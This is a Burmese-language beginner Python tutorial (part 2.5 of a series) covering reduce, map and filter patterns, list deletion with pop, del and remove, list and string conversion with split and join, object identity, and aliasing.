ကဲ a = [1, 2, 3] ဆိုတာထားပါေတာ့ ဒီထဲက elements ေတြကိုေပါင္းတဲ့ရလဒ္သိခ်င္ဘယ္လိုလုပ္မလဲ? အခုဥပမာကေတာ့ဘယ္ေျပာစရာလိုတံုး 6 ဆိုတာလူတိုင္းသိတယ္ ဒါေပသိ elements က အခု၃၀, ၄၀ ဆိုဘယ္လိုလုပ္မလဲ? sum() ဆိုတာေလးကိုသံုးပါမယ္။
>>> a = [1, 2, 3]
>>> sum(a)
6


အခုလိုမ်ိဳး sequence of elements ေတြကို single value ျဖစ္ေအာင္ေပါင္းတဲ့လုပ္ေဆာင္ခ်က္ကို reduce လို ့ေခၚပါတယ္။
ေနအံုးအခုလို sum() ဆုိတာကိုကုိယ့္ဘာသာေရးၾကည့္မယ္ဆို…
def add_up(a):
   total = 0
   for x in a:
       total += x # equal to total = total + x
   return total


initial အေနနဲ ့total ကို သုညေပးထားပါတယ္။ a = [1, 2, 3] နဲ ့ေျပာရမယ္ဆို အရင္ဆံုး a ကေန 1 ကိုယူပါတယ္ ျပီးရင္ 0 ဆိုတဲ့ total ကို x တန္ဖိုး 1 နဲ ့ေပါင္းျပီး total နဲ ့ေပးညီလိုက္ေတာ့ total က 1 ျဖစ္သြားတယ္။ ေနာက္ 2 ကိုယူျပီးေပါင္းတယ္ ျပန္ေပးညီေတာ့ 3 ျဖစ္သြားတယ္။ ေနာက္ 3 ကိုထပ္ယူျပီး total (လက္ရွိမွာ 1 နဲ ့2 ကိုေပါင္းထားလို ့ 3 ျဖစ္ေနပါတယ္) ေပါင္းလိုက္ေတာ့ 6 ျဖစ္သြားပါတယ္။ ျပီးရင္အဲ့တာကို return ျပန္လိုက္ပါတယ္။ ဒါပါပဲ။ total ကဲ့သို ့အသံုးျပဳသြားရတဲ့ Variable ကို accumulator လုိ ့ေခၚပါတယ္။

ဒါဆုိ Map အေၾကာင္းဆက္ေျပာဖို ့ေအာက္ကဥပမာကိုဆက္ေလ့လာၾကည့္ရေအာင္…
ကြ်န္ေတာ္တို ့ List ထဲမွာ small letter နဲ ့ေရးထားတဲ့ arguments ေတြရွိတယ္ဆိုပါစို ့ဗ်ာ… ဒါေတြကို Capital Letter ေလးေတြေျပာင္းရေအာင္…
def capitalizee(a):
   capi = []
   for x in a:
       capi.append(x.capitalize())
   return capi


ဒီ Example မွာဆို capi ဆိုတဲ့ empty list ေလးတစ္ခုလုပ္လိုက္ပါတယ္။ ျပီးရင္ Loop ပတ္ခိုင္းျပီးေတာ့ a ထဲက တစ္ခုခ်င္းစီကို capitalize() နဲ ့ေျပာင္းျပီး capi ဆိုတဲ့ empty list ထဲကိုထည့္သြားတာပါ။
အခုသံုးျပသြားတာကေတာ့ capitalize() ဆိုတဲ့ argument ရဲ့ေရွ  ့စာလံုးကုိ Capital Letter ေျပာင္းတာေပါ့ေလ။ ေနာက္ small letter ေတြပဲေျပာင္းတဲ့ lower() ဆိုတာရယ္, စာလံုးအကုန္လံုးကုိအၾကီးေျပာင္းေပးတဲ့ upper() ဆိုတာရွိပါေသးတယ္။ အခုေပၚက capitalizee() ကဲ့သို ့လုပ္ေဆာင္တဲ့ function ေတြကို map လို ့ေခၚပါတယ္။
ဒါဆိုဘယ္လိုမ်ိဳးလုပ္ေဆာင္ခ်က္ေတြလုပ္တဲ့ function ကို Filter လို ့ေခၚလဲေျပာျပပါမယ္။

namez = [‘I’, ‘love’, ‘MSF’]

def thelower(a):
   lowlist = []
   for x in a:
       if x.islower():
           lowlist.append(x)
   return lowlist

def theupper(a):
   uplist = []
   for x in a:
       if x.isupper():
           uplist.append(x)
   return uplist


ပထမတစ္ခုမွာဆို love ဆိုတာေလးပဲျပန္ေပးမွာပါ။ ဒုတိယတစ္ခုမွာေတာ့ I နဲ ့MSF ကိုေဖာ္ျပမွာပါ။ islower() ရယ္ isupper() ဆိုတာက True or False ျပန္ေပးပါတယ္။ ဒါကို if နဲ ့တြဲသံုးလိုက္ေတာ့အကယ္လို ့ True ျပန္ေပးရင္ if ေအာက္က function ျဖစ္တဲ့ append() ကိုဆက္လုပ္သြားတာပါ။ ဒီလို function မ်ိဳးေတြကို filter  လို ့ေခၚတာပါ။

2.8 Deleting the elements of a list
List အေၾကာင္းစေျပာကထဲက List ေတြက mutable ျဖစ္တယ္ဆိုတာကိုေျပာခဲ့ပါသလို အမ်ိဳးမ်ိဳးလဲသံုးျပခဲ့ပါတယ္။ List ေတြက mutable ျဖစ္တယ္ဆို elements ေတြထည့္လိုက္ sorting လုပ္တာေလာက္တင္ဘယ္ကမလဲ။ မလိုတဲ့ elements ေတြကိုလဲဖယ္ထုတ္ပစ္ႏိုင္ပါတယ္။

Delete an element using pop()
>>> a = [1, 2, 3, 4, 5, 6]
>>> b = a.pop(0) # Remember, elements counting start from 0
>>> a
[2, 3, 4, 5, 6]
>>> b
1
>>> a.pop() # If we do not provide an index, it will remove last element and return that value.
6


Delete the element using “del”
>>> a = [‘a’, ‘b’, ‘c’, ‘d’, ‘e’]
>>> del a[1]
>>> a
[‘a’, ‘c’, ‘d’, ‘e’]


Index အသံုးမျပဳခ်င္ပဲကိုယ္ delete လုပ္ခ်င္တဲ့ element ကိုသိတယ္ဆို remove() ကိုအသံုးျပဳလုိ ့ရပါတယ္။
>>> a = [‘I’, ‘Love’, ‘MSF’]
>>> a.remove(‘Love’)


ဒီမွာက remove() ထဲမွာကြ်န္ေတာ္ဖ်က္ခ်င္တဲ့ေကာင္ကိုထည့္လိုက္တာပါ။ string ဆိုလဲ string ေပါ့။ integer ဆိုလဲ integer ေပ့ါ။ တစ္ခုမွတ္ထားရမွာက remove() က None ပဲ return ျပန္ပါတယ္။

ဒါဆို List ထဲမွာ Elements 10 ခုရွိတယ္ဗ်ာ။ 4 ခုေျမာက္ကေန 6 ခုေျမာက္ထိဖ်က္တယ္ဒါမ်ိဳးဆိုဘယ္လိုလုပ္မလဲ? ေျပာရရင္ Element တစ္ခုထဲမပာုတ္ပဲ အမ်ားၾကီးကိုတခါထဲနဲ ့ဖ်က္ခ်င္ရင္ေပါ့။ ကြ်န္ေတာ္ဥပမာေလးျပပါမယ္။
>>> a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
>>> del a[3:6]
>>> a
[1, 2, 3, 7, 8, 9, 10]


ကြ်န္ေတာ္အေပၚမွာေရးျပခဲ့သလို index slicing ကို del နဲ ့တြဲသံုးလို ့ရပါတယ္။

2.9 Lists and strings
Characters ေတြကိုအစဥ္လိုက္စုလိုက္ရင္ String ပါ။ Values ေတြကိုအစဥ္လုိက္စုလိုက္ရင္ List ေပါ့ ဒါေပသိ List of Character ေတြသည္ String တစ္ခုမပာုတ္ပါ။ String တစ္ခုကို List ေျပာင္းခ်င္ရင္ list() ဆိုတာကိုအသံုးျပဳႏုိင္ပါတယ္။ ေအာက္မွာ abc ဆိုတဲ့ beer အဲေလ string ေလးကို List ေျပာင္းျပပါမယ္။
>>> a = ‘abc’
>>> thelist = list(a)
>>> thelist
[‘a’, ‘b’, ‘c’]


list() ဆိုတဲ့ function က string ထဲက character ကို letter တစ္ခုခ်င္းစီေျပာင္းလိုက္ပါတယ္။ ေနာက္ string တစ္ခုကုိခြဲထုတ္ခ်င္ရင္ split() ဆိုတဲ့ function ကိုအသံုးျပဳႏိုင္ပါတယ္။
>>> a = ‘I Love MSF’
>>> b = a.split()
>>> b
[‘I’, ‘Love’, ‘MSF’]


ေနအံုးဗ် အဲ့ဒီ split() ဆိုတဲ့ function မွာ option character ရွိပါတယ္။ ဘယ္လိုသံုးတယ္ဆိုတာဥပမာေလးနဲ ့ျပပါတယ္။
>>> a = ‘Hello-World-MSF’
>>> b = a.split(‘-‘)
>>> b
[‘Hello’, ‘World’, ‘MSF’]


Option character ရဲ့သေဘာတရားကဆိုရင္ကိုယ္ထည့္လိုက္တဲ့ argument ကိုဖယ္ျပီးအဲ့ေကာင္ကေနပဲခြဲခြဲသြားမွာျဖစ္ပါတယ္။ ရွင္းသြားေအာင္ေနာက္ဥပမာေလးလုပ္ရေအာင္။
>>> a = ‘Hello World! MSF’
>>> b = a.split(‘!’)
>>> b
[‘Hello World’, ‘MSF’]


သေဘာေပါက္မယ္ထင္ပါတယ္။
split() နဲ ့ခြဲလိုက္တာေတာ့ပာုတ္ျပီဗ်ာ…. ပာာေပာ့လူ..မေက်နပ္ဘူးျပန္ေပါင္းခ်င္တယ္ဗ်ာ။ ဘယ္လိုလုပ္ရမလဲဆိုေတာ့သူရဲ့ေျပာင္းျပန္ join() ဆုိတာရွိပါတယ္။ ေအာက္ကဥပမာေလးၾကည့္လိုက္ရေအာင္…

>>> a = [‘Hello’, ‘World’, ‘MSF’]
>>> b = ‘ ‘ #There is a space between two single quotes
>>> b.join(a)
‘Hello World MSF’

ျမင္တယ္မလားမသိ space ေနရာမွာကိုယ္ဆက္ခ်င္တာကိုထည့္ႏိုင္ပါတယ္။

2.10 Objects and Values
Interpreter မွာဒီိလိုေလးေရးလိုက္ပါ။
>>> a = ‘MSF’
>>> b = ‘MSF’
>>> c = [1, 2, 3]
>>> d = [1, 2, 3]


Variable ေတြျဖစ္တဲ့ a ေကာ b ေကာက MSF ဆိုတာေတာ့လူတိုင္းၾကည့္တာနဲ ့သိပါတယ္ ဒါေပသိ string တစ္ခုထဲကိုပဲရည္ညႊန္းထားတာလားဆိုတာကိုေတာ့မသိဘူးဗ်ာ။ မသိေတာ့ဘာလုပ္မလဲ? အေျဖရွာမွာေပါ့ဗ်ာ…. ဒီလိုအေျဖရွာဖို ့အတြက္ Object တူမတူရွာမယ္ ဒီလို Object တူမတူကိုသိဖို ့အတြက္ is ဆိုတာေလးကိုအသံုးျပဳၾကပါမယ္။
a နဲ ့ b ကိုအရင္ရွင္းမယ္ဗ်ာ။
>>> a is b
True


a နဲ ့ b ကို is နဲ ့အေျဖထုတ္တာ True ဆိုေတာ့ Object တူပါတယ္။ ေအာက္ကပံုေလးနဲ ့ျမင္ေအာင္ဆြဲျပေပးထားပါတယ္။


ဒါဆုိေနာက္တစ္ခုထပ္ေျပာရေအာင္…
>>> c is d
False



သေဘာေပါက္မယ္ထင္ပါတယ္။ c နဲ ့ d က value တူေပမယ့္ မတူညီတဲ့ objects ေတြကိုရည္ညႊန္းထားတာပါ။

2.11 Aliasing
a = b ဆိုရင္ same object ကုိပဲ refer လုပ္တယ္ဆိုတာကိုေတာ့သိျပီးသားျဖစ္မွာပါ။
Object တစ္ခုမွာ refer လုပ္တာ၁ခုထက္ပုိရင္ name ကလဲတစ္ခုထက္ပိုပါပဲ။ ဒီလို object ကို alias လို ့ေခၚပါတယ္။ အကယ္လို object ကသာ List ေတြလို mutable ျဖစ္ခဲ့ရင္ a ကိုခ်ိန္းရင္ b မွာလဲသက္ေရာက္မွဳရွိတယ္ဆိုတာကိုအရင္သင္ခန္းစာမွာထဲကသိျပီးေလာက္ျပီျဖစ္ပါတယ္။ Recall ျပန္ေခၚရမယ္ဆို
>>> a = [1, 2, 3]
>>> b = a
>>> b[0] = 11
>>> a
[11, 2, 3]


Alias က strings ေတြလို immutable ေတြဆိုဘာမွမျဖစ္ေပမယ့္ List တို ့လို mutable ေတြက်သတိထားရပါတယ္။ ဒီလို List ေတြကို changes လုပ္ရင္ တစ္ခုခ်ိန္းရင္ေနာက္တစ္ခုမွ changes မျဖစ္ေစခ်င္ရင္အသံုးျပဳလို ့ရတဲ့နည္းကိုအရင္အပုိင္း ၂ မွာေျပာျပျပီးသားပါ။ သိအံုးမယ္ထင္ပါတယ္။ (ေမ့သြားရင္ေတာ့ျပန္ဖတ္ေပါ့ေလ)

Let’s Write Python [2.5] ကေတာ့ဒီေလာက္ပါပဲ။ ေနာက္အပိုင္း ၃က်ရင္ Tuple ေတြအေၾကာင္းကိုေလ့လာၾကပါမယ္။ ကြ်န္ေတာ္ဘာလို ့ [3] လို ့မစပဲ [2.5] လို ့ေရးလဲဆို ဒီအခန္းကေရွ ့ကအခန္းရဲ့အဆက္ျဖစ္ေနလို ့ပါ။

(c) PyLab 2016